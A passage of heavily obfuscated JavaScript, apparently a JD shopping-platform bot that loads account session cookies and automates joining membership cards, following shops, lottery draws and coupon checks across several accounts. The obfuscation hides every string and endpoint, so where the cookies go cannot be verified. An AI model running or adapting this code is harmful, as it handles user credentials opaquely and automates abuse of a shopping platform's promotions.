ZwG347BsO8ZVgvwr7CkcObwqFNw4sTG0FRwpjDq0kWw4TCkEQaIsOZw4FHGzN3w6bCkMK0ZDtgw5IQw6nCmMOde3nDgHpQwrTCm203LkIww6vCtcK0FcO7Nmdbwr8FZ39vMcKLwo7CtBcDw4nCtXEVbUvDusOuZ8K8w67Cq8KUw5k=','wpbDpyJgw5Iew6tmdsKVHl0=','w5Y0wpTCmjnDtSLDv8KkEgjDlkPDhsOhcxE=','w7nDmMKOw6TDr8KJccOnw7YswqpWTl0=','wrHCncKsw4PDnsK1fsONw4c=','w6nCp8OJwpfCgC3CjUcTWcK3w5HClnA=','w6LClcKtw5DDpMKsW8ONw41Ew4glLlLDgsKEDMKnYmcHw77CpDrCnsK2BsK2w5zCtyjDp8KKw7cewo7DvMONwp4xw7U/w6BBFGsSw4fCqUI=','wr7DtQ9aw74=','wrp0Y8OBwpc=','eVRweMKt','w6nCssOx','a1doVMKGwrzClcKoJg==','NnYKwqvDmA==','wp9wYcOcwqM=','wqUeKsOHwrA=','wrEIOg==','w6o2wrBOccKzwr7CmsOA','wrbDllM=','TGnCogQ=','wrkDwpJu6K+o5rKW5aem6LeZ77616K2L5qCC5p2P57+56Lep6Yab6K2F','w788DQ==','wrHCjMK9w5jDlcKmR8OCw5A=','w4/Dj3M=','CsOSQHQ=','w4oAw4XCjuiuheazlOWntui3ke+9qOiviOagpeadv+e9tui1pOmFiOissQ==','KW4KwpDDqQ==','QsKtVcKSwqc=','wpMPC8KZRg==','wrYOCMKbdA==','wp9EwqvClCQ=','w6LDoMO6woNBw6PCmjTDt2rCoDvDhcKyH8OBwoHCrsOew6XDk8KoMcODQCbCnMO5Pnkdbw==','wrd5bcO+w6PDusO/wozDqMKZw4jDk0bCg112SsKgCcKUw4nDvsOK','w6vDqWIpAj5iNMOHaMKCZcO/Kw/DoWDChcK3AMKew4wLwoHCrjsDUMOewrxBaMKFwqXCjsOtw5sPDzBoYUocwrVrwqXCsA==','w60ew5AXGyRrIMKFwq/DgMKzQsKIA0fCgsOofRHDuT5EF1vDgMOfw6DDlcO4wqnCqBZsV8Khwr8LI3g1wqrDmWxgRcKAw6d1wqrDn8OOw7FM','J2oMOQ==','BsKpLcK2wr/DqRrCtw4qw7RGSnlTbsOqwrPCtD3CuTHCjMOFwpwZbGhiwpxzwrB6woDCoFXDpijCh1nCoMKPwpE7D8OewpvCrX46Z3jCgMOz','cMOqVsODLFw+w6LCtUnDhsKHwrZoU8OWwpLCl1HDucKnLMKSw6nCrld4GcKRw6TCn8Kg','wpXCj8KeGDU=','w74qOsKmKsOiXXzDtsKo','wpRNwqjDpcKNwq/Cri0j','w5zCn8KJNBbCmldaw73DlcKGUsKzw5jCtMO2w6F7MMKrw7YyTcOvwprDiT3DlMKhwqYkNT4LPcOOIGcNR8O9w61FWMOxRV93BcOsahZwRsK5PGLDu8O0wpcpaMK6wpjCtcKiPMOAwr4xwrPCokvCjmR9MMKUwpxBwp/DjU3CsQViwp7Dnj3DiMOSwoplw7HDv8KVwqRhw6Epw5hVDgrDlSzCncOwHQByfcKlw7g5Q1JiY3/ClFMjwpNZw5jDm8OUXsK6bcKVJcK5K0fDtGx0w4HDqUNqw6B8d3t3AGjCjSPCnMO3UcOVOFTDvsOWwq7DqcO6LzzDrsKEwqPDvB/DshgZwrYZw5E=','wrBTw7/Ds2ZiQsKyAQ==','wqwkw4LCpSA=','asODAMO8w6DCjsORwqh9w681w4ZSNVPDuT0IBk51dcKOw73CpcKqw4/CjcKCwqofwrYmaVrCrh92w45gMSnCtk/Cv8KTw6XCscOLZFkfRTQDwrXCsjfCjcK8JsOfw4XDtsKwwphQw4jDg2xYHsKTAcK6w4HCtj/DmxNuEHQjwoPDoAFNwpgowoUuwrrDrlABIcO0FybDmsKOwr7CjsOLbMO8wowuwo7CgMOLbMOPwp9LwpjCscK9OMKywovDtgjDilHCqcK0b8OvMcKSWD7Cq8KiwpRbw6zCucKiD8K8DsO4w7RkF8KDwrPCqi81RyHCisOLwo84cUHDksOiZcOlwpvCtMOSw6fCtsOSwrzChMKOwrxKwo4AwoPDjD4xw6bCjQnCjcKmQcK3wo4jwpjCmgsTG0TCtBPDpRBVwojDnUvDqz7Cqy3CicOQTHTCg8KXXQ0lw4TCncO8X8KQYMKXw6PCuU9vw78=','I8KyI8KvwqDCv1TCt1d+wqAcUxhTc8Opw6XDpm7CmmDDj8Oowp0Ieilowpc+wqc3w5/DowjCsmbDklDDrsKPwppzXMOfwp3Dqmc8Z3XDocKFwrY+w4TDtMKIw6gHw6ozw5PDukrChMKdwrsqw6IQw6E5w7BkwpvChSEMwpPCq8OlJ8KMAihiwoPDu3PDtBjDmsKDw67CksOpHCDDu298wrFIw4rDm1bCg2B8cFIEccOqwrjDszLDmcKewrnDlMOHw6whw7YQwp5eZhHDsMK1QzTDnj7Dl8KpIsOMHcK3w63CgMOiwrw0wrE3w6Q3QWsfJ8KSHzJzKQrChU/ChsK7wqIFw4oOw6IJWsKWwr/CjsO+Y2bChXFqw6RvwonDrMKQw4tGw53DglDDh8KRwo8=','w5Y5w7clOg==','Z03CrgvDuw==','f8OlK8O5Ag==','wpbDo2sMw47Dg09ASTk6XsKD','VcO9FcKcwpPCh3rDkycew49qOhhvWMKh','KMOpckXCicKBOcKkw63CgjJ7Akc=','wpDCkcOPPwjCmcOBEQdJWEnCrG0=','w5jDlMOtGDnCpcOOOzY=','ADVswobDiMK2wqLCtsO+w6/CusOnGFQ=','wpTCqMKkKS4=','wo4QS8KvFQ==','WsKPw6lRQQ==','E8KHwrnDr38=','w43DtMOrDS0=','STZiw6Yk','wqh3e8OtwrzCsMO/wpnDpw==','wq1aw7PDpA==','w7XCvMOkwo7CgQ==','w6AywrJrSw==','CsOHZA==','IcOHF8O8w67CnMOG','TnLCqxvCmWY5On8pwpNiDi04OcOgOMKcw6xxKsOd','bMK8f8KIwq00B1XDkhcMZsKdKcK1WQ==','wpt2w5LDiXdDR8KJAMOGEhRIwqI=','VcK4PcOBw7Y=','wrAsZ8KyXTRjwrRnZixZw4BXw5nDt2w=','wosxw6XCqxvDtcKmwoANUMKLwrVfwqbDssKTw7Jvw5PCjcOrBsOjwowSDMK1fws0IMKGwpDChMK1WyDCignDvMOwajMowo/CkMKlw4w=','w7snHsK/N8K/NjLDrsKzw7kJw6lfZAVdKAoKB8K4wr57w6o4wpMwwp1YKA==','SUluw6FdR07DicK6w6U=','V27CkmzCnQnDgjQfYcOLwrASMDjDoh7CuBAOwoTCvMOww4/Ck8KLfcKbwrAwwp/Chw==','w4TDpmcbGg==','jNdkszjMZAirAami.cobwm.vHI6MH=='];(function(_0x16f8cc,_0xaeee10,_0x2a31f7){var _0x4117a0=function(_0x40617c,_0x2a1187,_0x378539,_0x284c2e,_0x295951){_0x2a1187=_0x2a1187>>0x8,_0x295951='po';var _0x24ba76='shift',_0x57268c='push';if(_0x2a1187<_0x40617c){while(--_0x40617c){_0x284c2e=_0x16f8cc[_0x24ba76]();if(_0x2a1187===_0x40617c){_0x2a1187=_0x284c2e;_0x378539=_0x16f8cc[_0x295951+'p']();}else if(_0x2a1187&&_0x378539['replace'](/[NdkzMZArAbwHIMH=]/g,'')===_0x2a1187){_0x16f8cc[_0x57268c](_0x284c2e);}}_0x16f8cc[_0x57268c](_0x16f8cc[_0x24ba76]());}return 0xa00e9;};return _0x4117a0(++_0xaeee10,_0x2a31f7)>>_0xaeee10^_0x2a31f7;}(_0x32c1,0xb7,0xb700));var _0x5a60=function(_0xd4e6,_0x4dcbc5){_0xd4e6=~~'0x'['concat'](_0xd4e6);var _0x1150c4=_0x32c1[_0xd4e6];if(_0x5a60['DgsnSY']===undefined){(function(){var _0xf1773f=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x7ff54d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xf1773f['atob']||(_0xf1773f['atob']=function(_0x48be89){var _0x40c105=String(_0x48be89)['replace'](/=+$/,'');for(var _0x4da568=0x0,_0x39f686,_0x53e1e5,_0x3c9532=0x0,_0x33624b='';_0x53e1e5=_0x40c105['charAt'](_0x3c9532++);~_0x53e1e5&&(_0x39f686=_0x4da568%0x4?_0x39f686*0x40+_0x53e1e5:_0x53e1e5,_0x4da568++%0x4)?_0x33624b+=String['fromCharCode'](0xff&_0x39f686>>(-0x2*_0x4da568&0x6)):0x0){_0x53e1e5=_0x7ff54d['indexOf'](_0x53e1e5);}return _0x33624b;});}());var _0x5ad069=function(_0x50b635,_0x4dcbc5){var _0x4d5607=[],_0x122bc5=0x0,_0x5bdf89,_0x3e985a='',_0x3f0529='';_0x50b635=atob(_0x50b635);for(var _0x20fd9c=0x0,_0x4094b2=_0x50b635['length'];_0x20fd9c<_0x4094b2;_0x20fd9c++){_0x3f0529+='%'+('00'+_0x50b635['charCodeAt'](_0x20fd9c)['toString'](0x10))['slice'](-0x2);}_0x50b635=decodeURIComponent(_0x3f0529);for(var _0x37ce74=0x0;_0x37ce74<0x100;_0x37ce74++){_0x4d5607[_0x37ce74]=_0x37ce74;}for(_0x37ce74=0x0;_0x37ce74<0x100;_0x37ce74++){_0x122bc5=(_0x122bc5+_0x4d5607[_0x37ce74]+_0x4dcbc5['charCodeAt'](_0x37ce74%_0x4dcbc5['length']))%0x100;_0x5bdf89=_0x4d5607[_0x37ce74];_0x4d5607[_0x37ce74]=_0x4d5607[_0x122bc5];_0x4d5607[_0x122bc5]=_0x5bdf89;}_0x37ce74=0x0;_0x122bc5=0x0;for(var _0x3c6438=0x0;_0x3c6438<_0x50b635['length'];_0x3c6438++){_0x37ce74=(_0x37ce74+0x1)%0x100;_0x122bc5=(_0x122bc5+_0x4d5607[_0x37ce74])%0x100;_0x5bdf89=_0x4d5607[_0x37ce74];_0x4d5607[_0x37ce74]=_0x4d5607[_0x122bc5];_0x4d5607[_0x122bc5]=_0x5bdf89;_0x3e985a+=String['fromCharCode'](_0x50b635['charCodeAt'](_0x3c6438)^_0x4d5607[(_0x4d5607[_0x37ce74]+_0x4d5607[_0x122bc5])%0x100]);}return _0x3e985a;};_0x5a60['Acthru']=_0x5ad069;_0x5a60['CFtWvh']={};_0x5a60['DgsnSY']=!![];}var _0x2192e8=_0x5a60['CFtWvh'][_0xd4e6];if(_0x2192e8===undefined){if(_0x5a60['aRidVw']===undefined){_0x5a60['aRidVw']=!![];}_0x1150c4=_0x5a60['Acthru'](_0x1150c4,_0x4dcbc5);_0x5a60['CFtWvh'][_0xd4e6]=_0x1150c4;}else{_0x1150c4=_0x2192e8;}return _0x1150c4;};let UA=require(_0x5a60('0',')t^^'))[_0x5a60('1','gtM%')];const notify=$[_0x5a60('2','Sr&T')]()?require(_0x5a60('3','gtM%')):'';let cookiesArr=[],cookie='';if($[_0x5a60('4','w1ew')]()){Object[_0x5a60('5','OMx0')](jdCookieNode)[_0x5a60('6','*^t1')](_0x3ae1e6=>{cookiesArr[_0x5a60('7','VCRo')](jdCookieNode[_0x3ae1e6]);});if(process[_0x5a60('8',')*PN')][_0x5a60('9',')*PN')]&&process[_0x5a60('a','qaWF')][_0x5a60('b','c1V$')]===_0x5a60('c','[YW)'))console[_0x5a60('d','5phg')]=()=>{};}else{cookiesArr=[$[_0x5a60('e','gtM%')](_0x5a60('f','Y^r#')),$[_0x5a60('10','OMx0')](_0x5a60('11','qaWF')),...jsonParse($[_0x5a60('12','71SK')](_0x5a60('13','Y^r#'))||'[]')[_0x5a60('14','c1V$')](_0x5917b9=>_0x5917b9[_0x5a60('15','#Nc6')])][_0x5a60('16',')pbK')](_0x4ed432=>!!_0x4ed432);}!(async()=>{var _0x5278d7={'AgCWc':function(_0x188978,_0x11acd5){return _0x188978(_0x11acd5);},'PKyza':function(_0x5cc47d,_0x3be1fa){return _0x5cc47d+_0x3be1fa;},'NJgkt':_0x5a60('17','5ot1'),'tVEbH':_0x5a60('18','Ah&A'),'afQoS':_0x5a60('19','VCRo'),'ajjPS':function(_0x4a93b0,_0x3027aa){return _0x4a93b0<_0x3027aa;},'nWXZQ':function(_0x138ab5,_0x297409){return _0x138ab5(_0x297409);},'MKIce':function(_0x24446a){return _0x24446a();},'ecnfs':_0x5a60('1a','Sfa)'),'KsLIK':function(_0x52ce2a){return _0x52ce2a();},'ZLPiD':function(_0x1be6d6,_0x3ec8ad){return _0x1be6d6===_0x3ec8ad;},'MYHaa':_0x5a60('1b','m#6r'),'IqLsq':_0x5a60('1c','Y^r#'),'Okrhb':function(_0x605dc1){return _0x605dc1();},'DaxHB':function(_0x4e6b4b){return _0x4e6b4b();},'qkIPJ':function(_0x53f7ca){return _0x53f7ca();},'jSVkq':function(_0x561cde,_0x369f78){return _0x561cde!==_0x369f78;},'JGbQI':_0x5a60('1d','iKwG'),'imIRZ':function(_0x5060b9){return _0x5060b9();},'ZISqQ':function(_0x43c615,_0x269248){return _0x43c615===_0x269248;},'aBjnY':_0x5a60('1e','m#6r'),'Alplm':_0x5a60('1f','5phg'),'IYuBv':function(_0x9fa547,_0x382234){return _0x9fa547+_0x382234;},'Azlrw':_0x5a60('20','4$OM'),'iugYB':function(_0x3467b1,_0x166b2a){return _0x3467b1(_0x166b2a);},'JKrSu':function(_0x1fc6df,_0xf0e2fc){return _0x1fc6df===_0xf0e2fc;},'FjeYx':_0x5a60('21',')qW%'),'TGMua':function(_0x13709b,_0x155ee1){return _0x13709b+_0x155ee1;},'NOcHD':_0x5a60('22','H2m0'),'sOGWm':function(_0x5663cb,_0x575218){return _0x5663cb(_0x575218);},'corUU':function(_0x2a019c,_0x5a3a53){return _0x2a019c(_0x5a3a53);},'MABes':function(_0x20873a){return _0x20873a();},'pXbiI':function(_0x4affaf){return _0x4affaf();},'gLkQW':_0x5a60('23',')qW%')};if(!cookiesArr[0x0]){$[_0x5a60('24','$dtR')]($[_0x5a60('25','OMx0')],_0x5278d7[_0x5a60('26','yb5M')],_0x5278d7[_0x5a60('27','t@Ez')],{'open-url':_0x5278d7[_0x5a60('28',')qW%')]});return;}for(let _0x2b3c99=0x0;_0x5278d7[_0x5a60('29','X2Mx')](_0x2b3c99,cookiesArr[_0x5a60('2a','#Nc6')]);_0x2b3c99++){cookie=cookiesArr[_0x2b3c99];if(cookie){$[_0x5a60('2b','G6hQ')]=_0x5278d7[_0x5a60('2c','@GjN')](decodeURIComponent,cookie[_0x5a60('2d','6b9s')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5a60('2e','B%EL')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5a60('2f','#g@V')]=_0x5278d7[_0x5a60('30','K&]P')](_0x2b3c99,0x1);$[_0x5a60('31','BQFL')]=!![];$[_0x5a60('32','Ah&A')]='';console[_0x5a60('33','(o3G')](_0x5a60('34','#JkU')+$[_0x5a60('35','*^t1')]+'】'+($[_0x5a60('36','kD)G')]||$[_0x5a60('37','e157')])+_0x5a60('38','8nw!'));let _0x32071a=await _0x5278d7[_0x5a60('39','CEjU')](getWxCommonInfoToken);if(!$[_0x5a60('3a','OMx0')]){$[_0x5a60('3b','@GjN')]($[_0x5a60('3c',')pbK')],_0x5a60('3d',')t^^'),_0x5a60('3e','B%EL')+$[_0x5a60('3f','(o3G')]+'\x20'+($[_0x5a60('40','8nw!')]||$[_0x5a60('41','iKwG')])+_0x5a60('42','Sfa)'),{'open-url':_0x5278d7[_0x5a60('43','BQFL')]});if($[_0x5a60('44','@GjN')]()){await notify[_0x5a60('45','*^t1')]($[_0x5a60('46','Sr&T')]+_0x5a60('47','t@Ez')+$[_0x5a60('48','c1V$')],_0x5a60('49','5phg')+$[_0x5a60('4a','Sfa)')]+'\x20'+$[_0x5a60('4b','X2Mx')]+_0x5a60('4c',')*PN'));}continue;}let _0x22246c=_0x32071a[_0x5a60('4d','71SK')];$[_0x5a60('4e','Sfa)')]=_0x22246c[_0x5a60('4f','B%EL')];$[_0x5a60('50','#g@V')]=_0x22246c[_0x5a60('51','5ot1')];$[_0x5a60('52','K&]P')]=await _0x5278d7[_0x5a60('53','VCRo')](getIsvObfuscatorToken);$[_0x5a60('54','$dtR')]=await _0x5278d7[_0x5a60('55','*^t1')](getMyPing);if(_0x5278d7[_0x5a60('56','$dtR')]($[_0x5a60('54','$dtR')],'')||_0x5278d7[_0x5a60('57','dbYj')]($[_0x5a60('54','$dtR')],_0x5278d7[_0x5a60('58','kD)G')])||!$[_0x5a60('59',')pbK')]||!$[_0x5a60('5a','Sr&T')][_0x5a60('5b','w1ew')]){$[_0x5a60('5c','iZ7k')](_0x5278d7[_0x5a60('5d',')pbK')]);continue;}await _0x5278d7[_0x5a60('5e','Ah&A')](getHtml);await _0x5278d7[_0x5a60('5f','AX!A')](adLog);$[_0x5a60('60','VCRo')]=await _0x5278d7[_0x5a60('61','AX!A')](getActorUuid);if(!$[_0x5a60('62','5ot1')]){if(_0x5278d7[_0x5a60('63',')t^^')](_0x5278d7[_0x5a60('64','kD)G')],_0x5278d7[_0x5a60('65','qaWF')])){$[_0x5a60('66','5ot1')](e,resp);}else{$[_0x5a60('67','iKwG')](_0x5278d7[_0x5a60('68','#g@V')]);continue;}}$[_0x5a60('69','5phg')]=$[_0x5a60('6a','Sr&T')][_0x5a60('6b','iZ7k')][_0x5a60('6c','m#6r')];let _0xc27110=await _0x5278d7[_0x5a60('6d','m#6r')](checkOpenCard);if(!_0xc27110[_0x5a60('6e','(o3G')]){continue;}_0xc27110=_0xc27110[_0x5a60('6f','kD)G')];if(!_0xc27110[_0x5a60('70','m#6r')]){if(_0x5278d7[_0x5a60('71','aU(%')](_0x5278d7[_0x5a60('72','yb5M')],_0x5278d7[_0x5a60('73','(o3G')])){console[_0x5a60('74','OMx0')]($[_0x5a60('3c',')pbK')]+_0x5a60('75','[YW)'));}else{for(let _0x13d263 of _0xc27110[_0x5a60('76','kD)G')]){$[_0x5a60('77',')qW%')](_0x5278d7[_0x5a60('78','uq%7')](_0x5278d7[_0x5a60('79','CEjU')],_0x13d263[_0x5a60('7a','gtM%')]));await _0x5278d7[_0x5a60('7b',')qW%')](join,_0x13d263[_0x5a60('7c','CEjU')]);}for(let _0x3d2779 of _0xc27110[_0x5a60('7d','[YW)')]){if(_0x5278d7[_0x5a60('7e','K&]P')](_0x5278d7[_0x5a60('7f','Sfa)')],_0x5278d7[_0x5a60('80','c1V$')])){$[_0x5a60('d','5phg')](_0x5278d7[_0x5a60('81','6b9s')](_0x5278d7[_0x5a60('82','K&]P')],_0x3d2779[_0x5a60('83','B%EL')]));await _0x5278d7[_0x5a60('84','w1ew')](join,_0x3d2779[_0x5a60('85','qaWF')]);}else{_0x5278d7[_0x5a60('86','CEjU')](resolve,data);}}}}else{$[_0x5a60('87','3peq')](_0x5278d7[_0x5a60('88','3peq')](_0x5278d7[_0x5a60('89','iKwG')],_0xc27110[_0x5a60('8a','iKwG')]));}await _0x5278d7[_0x5a60('8b','dbYj')](followShop);await _0x5278d7[_0x5a60('8c','5ot1')](startDraw,0x1);await _0x5278d7[_0x5a60('8d','VCRo')](startDraw,0x2);await _0x5278d7[_0x5a60('8e','#Nc6')](checkOpenCard);await _0x5278d7[_0x5a60('8f','*^t1')](getActorUuid);await _0x5278d7[_0x5a60('90','#JkU')](getDrawRecordHasCoupon);$[_0x5a60('91','kD)G')]($[_0x5a60('92','6b9s')]);if(_0x5278d7[_0x5a60('93','G6hQ')](_0x2b3c99,0x0)&&$[_0x5a60('94','3peq')]){if(_0x5278d7[_0x5a60('95','kD)G')](_0x5278d7[_0x5a60('96','gtM%')],_0x5278d7[_0x5a60('97','aU(%')])){$[_0x5a60('98','VCRo')]=$[_0x5a60('99','#g@V')];}else{$[_0x5a60('9a','8z%N')](_0x5278d7[_0x5a60('9b',')t^^')](_0x5278d7[_0x5a60('9c','6b9s')],data));}}}}})()[_0x5a60('9d','m#6r')](_0x47f6a3=>$[_0x5a60('66','5ot1')](_0x47f6a3))[_0x5a60('9e','VCRo')](()=>$[_0x5a60('9f','qaWF')]());function followShop(){var _0x5a80bb={'VxkCN':function(_0x448581,_0x1d768f){return _0x448581(_0x1d768f);},'LSdee':function(_0x41e5ee,_0x5831e3){return _0x41e5ee===_0x5831e3;},'bAjEN':_0x5a60('a0','6b9s'),'EYnny':_0x5a60('a1','t@Ez'),'DWbya':function(_0x46c792,_0xad30bd){return _0x46c792(_0xad30bd);},'wUJWk':function(_0x3ee394,_0x582adf){return _0x3ee394(_0x582adf);},'RBlMF':_0x5a60('a2','6b9s'),'SDtae':function(_0x255d34,_0x6b9e1d,_0x4ac2dc,_0x58d959){return _0x255d34(_0x6b9e1d,_0x4ac2dc,_0x58d959);},'CLMfE':_0x5a60('a3','yb5M'),'DrOYU':_0x5a60('a4','#g@V')};return new Promise(_0xa71899=>{var _0x2c7ad2={'jfinM':function(_0x38d254,_0x3bdeae){return _0x5a80bb[_0x5a60('a5','5ot1')](_0x38d254,_0x3bdeae);},'Lfhfd':function(_0x5d6dae,_0x1202bc){return _0x5a80bb[_0x5a60('a6','Y^r#')](_0x5d6dae,_0x1202bc);},'JxobR':_0x5a80bb[_0x5a60('a7','wt%o')],'cwGLf':_0x5a80bb[_0x5a60('a8','yb5M')],'NSIPT':function(_0x615c76,_0x3d2250){return _0x5a80bb[_0x5a60('a9','Y^r#')](_0x615c76,_0x3d2250);}};let _0x45d45e=_0x5a60('aa','uq%7')+_0x5a80bb[_0x5a60('ab','iKwG')](encodeURIComponent,$[_0x5a60('ac','8z%N')][_0x5a60('ad','B%EL')])+_0x5a60('ae','8nw!')+$[_0x5a60('af','$dtR')]+_0x5a60('b0','AX!A')+($[_0x5a60('b1','aU(%')]?$[_0x5a60('b2','#g@V')]:_0x5a80bb[_0x5a60('b3','G6hQ')]);$[_0x5a60('b4','*^t1')](_0x5a80bb[_0x5a60('b5','e157')](taskPostUrl,_0x5a80bb[_0x5a60('b6','Sfa)')],_0x45d45e,_0x5a80bb[_0x5a60('b7','4$OM')]),async(_0x4380d4,_0x3181db,_0x203beb)=>{try{if(_0x4380d4){console[_0x5a60('b8','B%EL')]($[_0x5a60('b9','qaWF')]+_0x5a60('ba','uq%7'));}else{if(_0x2c7ad2[_0x5a60('bb','[YW)')](_0x2c7ad2[_0x5a60('bc',')pbK')],_0x2c7ad2[_0x5a60('bd','*^t1')])){_0x2c7ad2[_0x5a60('be','AX!A')](_0xa71899,_0x203beb[_0x5a60('bf','5ot1')]);}else{$[_0x5a60('c0','#Nc6')](_0x203beb);}}}catch(_0x995c1f){$[_0x5a60('c1','W]5P')](_0x995c1f,_0x3181db);}finally{_0x2c7ad2[_0x5a60('c2','3peq')](_0xa71899,_0x203beb[_0x5a60('c3','AX!A')]);}});});}function getDrawRecordHasCoupon(){var _0x27d851={'icCDZ':_0x5a60('c4','Sfa)'),'IDbiR':_0x5a60('c5','4$OM'),'GSGbz':function(_0x30fd78,_0x3075cf){return _0x30fd78===_0x3075cf;},'hTChp':_0x5a60('c6','5phg'),'HwQOp':function(_0x380b2d,_0x77a953){return _0x380b2d===_0x77a953;},'gBkUz':_0x5a60('c7','Sfa)'),'Nqoye':function(_0x374bb1,_0x97923b){return _0x374bb1!==_0x97923b;},'bjBHO':_0x5a60('c8',')qW%'),'LtYVP':function(_0x4158e7,_0x530989){return _0x4158e7(_0x530989);},'cJvEE':_0x5a60('c9','CEjU'),'KEXCq':_0x5a60('ca','G6hQ'),'QyfUk':function(_0x2ce1cc,_0x57ad61){return _0x2ce1cc(_0x57ad61);},'zMDHe':function(_0x271079,_0x364969,_0x243f5a,_0x2716a2){return _0x271079(_0x364969,_0x243f5a,_0x2716a2);},'bOJuw':_0x5a60('cb','K&]P'),'FMUEh':_0x5a60('cc','#g@V')};return new Promise(_0x375420=>{if(_0x27d851[_0x5a60('cd','K&]P')](_0x27d851[_0x5a60('ce','8nw!')],_0x27d851[_0x5a60('cf','CEjU')])){let _0x2d6629=_0x5a60('d0','Ah&A')+$[_0x5a60('d1','kD)G')]+_0x5a60('d2','8nw!')+($[_0x5a60('d3','t@Ez')]?$[_0x5a60('d4','#JkU')]:_0x27d851[_0x5a60('d5','w1ew')])+_0x5a60('d6','(o3G')+_0x27d851[_0x5a60('d7','Sr&T')](encodeURIComponent,$[_0x5a60('d8','H2m0')][_0x5a60('d9','Sr&T')]);$[_0x5a60('da','Ah&A')](_0x27d851[_0x5a60('db','8z%N')](taskPostUrl,_0x27d851[_0x5a60('dc','71SK')],_0x2d6629,_0x27d851[_0x5a60('dd','4$OM')]),async(_0x592687,_0x189131,_0x183a13)=>{var _0x3f2327={'ZiFZL':_0x27d851[_0x5a60('de','5ot1')],'FEEgD':_0x27d851[_0x5a60('df','$dtR')]};if(_0x27d851[_0x5a60('e0','e157')](_0x27d851[_0x5a60('e1','4$OM')],_0x27d851[_0x5a60('e2','#JkU')])){try{if(_0x592687){if(_0x27d851[_0x5a60('e3','w1ew')](_0x27d851[_0x5a60('e4','BQFL')],_0x27d851[_0x5a60('e5','dbYj')])){console[_0x5a60('b8','B%EL')]($[_0x5a60('e6','#g@V')]+_0x5a60('e7','BQFL'));}else{cookiesArr[_0x5a60('e8',')pbK')](jdCookieNode[item]);}}else{}}catch(_0x549c68){if(_0x27d851[_0x5a60('e9','3peq')](_0x27d851[_0x5a60('ea','X2Mx')],_0x27d851[_0x5a60('eb','Y^r#')])){$[_0x5a60('ec','dbYj')]($[_0x5a60('ed','(o3G')],_0x3f2327[_0x5a60('ee','H2m0')],_0x3f2327[_0x5a60('ef','qaWF')],{'open-url':_0x3f2327[_0x5a60('f0','t@Ez')]});return;}else{$[_0x5a60('f1','Y^r#')](_0x549c68,_0x189131);}}finally{_0x27d851[_0x5a60('f2',')*PN')](_0x375420,_0x183a13);}}else{$[_0x5a60('f3','H2m0')](e,_0x189131);}});}else{console[_0x5a60('f4','CEjU')]($[_0x5a60('25','OMx0')]+_0x5a60('f5','4$OM'));}});}function saveTask(){var _0x3d807a={'utbqK':function(_0x53fee9,_0x5c332b){return _0x53fee9!==_0x5c332b;},'wOCyL':_0x5a60('f6','iZ7k'),'bOMQA':_0x5a60('f7','dbYj'),'Tcode':_0x5a60('f8','@GjN'),'ipECz':_0x5a60('f9','[YW)'),'cmose':function(_0x446971,_0x6c2932){return _0x446971(_0x6c2932);},'oXlui':function(_0x2372c9,_0x50875a){return _0x2372c9(_0x50875a);},'wSSmY':_0x5a60('fa','[YW)'),'mDGrk':function(_0xa75990,_0x593c4d,_0x5a58ac,_0x22f1f6){return _0xa75990(_0x593c4d,_0x5a58ac,_0x22f1f6);},'QsCNR':_0x5a60('fb','AX!A'),'pPwJQ':_0x5a60('fc','m#6r')};return new Promise(_0x512ead=>{let _0x5cc543=_0x5a60('aa','uq%7')+_0x3d807a[_0x5a60('fd','BQFL')](encodeURIComponent,$[_0x5a60('fe','K&]P')][_0x5a60('ff','#Nc6')])+_0x5a60('100','[YW)')+$[_0x5a60('101','VCRo')]+_0x5a60('102','[YW)')+($[_0x5a60('103','5phg')]?$[_0x5a60('104','uq%7')]:_0x3d807a[_0x5a60('105','$dtR')]);$[_0x5a60('106','(o3G')](_0x3d807a[_0x5a60('107','Sfa)')](taskPostUrl,_0x3d807a[_0x5a60('108','#JkU')],_0x5cc543,_0x3d807a[_0x5a60('109','c1V$')]),async(_0x367a03,_0x58959f,_0x6c5daa)=>{try{if(_0x3d807a[_0x5a60('10a',')*PN')](_0x3d807a[_0x5a60('10b','X2Mx')],_0x3d807a[_0x5a60('10c',')t^^')])){if(_0x367a03){console[_0x5a60('10d','Ah&A')]($[_0x5a60('10e','5ot1')]+_0x5a60('10f','VCRo'));}else{$[_0x5a60('110','yb5M')](_0x6c5daa);}}else{console[_0x5a60('111','qaWF')](''+JSON[_0x5a60('112','c1V$')](_0x367a03));console[_0x5a60('111','qaWF')]($[_0x5a60('113','5phg')]+_0x5a60('114','W]5P'));}}catch(_0x3cdd60){if(_0x3d807a[_0x5a60('115','CEjU')](_0x3d807a[_0x5a60('116','c1V$')],_0x3d807a[_0x5a60('117','Sfa)')])){$[_0x5a60('118','Ah&A')](_0x3cdd60,_0x58959f);}else{if(_0x367a03){console[_0x5a60('119','e157')](''+JSON[_0x5a60('11a','iKwG')](_0x367a03));console[_0x5a60('11b','*^t1')]($[_0x5a60('11c','#JkU')]+_0x5a60('11d','w1ew'));}else{}}}finally{_0x3d807a[_0x5a60('11e','[YW)')](_0x512ead,_0x6c5daa[_0x5a60('11f','#g@V')]);}});});}async function startDraw(_0x555787){var _0x88b555={'kIkwm':_0x5a60('120','c1V$'),'RpkuI':_0x5a60('121','5phg'),'KDdjB':_0x5a60('122','#JkU'),'sfYwA':_0x5a60('123','W]5P'),'oRdZI':_0x5a60('124',')t^^'),'mymul':_0x5a60('125',')*PN'),'ZwZYw':_0x5a60('126','K&]P'),'MjPIS':function(_0x41f5e9,_0x4c704b){return _0x41f5e9(_0x4c704b);},'osLwH':function(_0x2d6fd7,_0x18e723){return _0x2d6fd7!==_0x18e723;},'ODSma':_0x5a60('127','*^t1'),'itVJe':_0x5a60('128','3peq'),'Aqdib':function(_0x43ca13,_0x13f676){return _0x43ca13===_0x13f676;},'PKrcI':_0x5a60('129','4$OM'),'NTdUI':_0x5a60('12a','kD)G'),'xBlgN':function(_0x224e8a,_0x1c8c70){return _0x224e8a+_0x1c8c70;},'rrEWc':_0x5a60('12b',')pbK'),'ojuRZ':_0x5a60('12c','aU(%'),'FwHjT':_0x5a60('12d','*^t1'),'CmBsC':function(_0x4ba09b,_0x3709ee){return _0x4ba09b(_0x3709ee);},'RaPZh':function(_0x3a49d,_0x41dfad,_0x397f5f,_0x3fcc0b){return 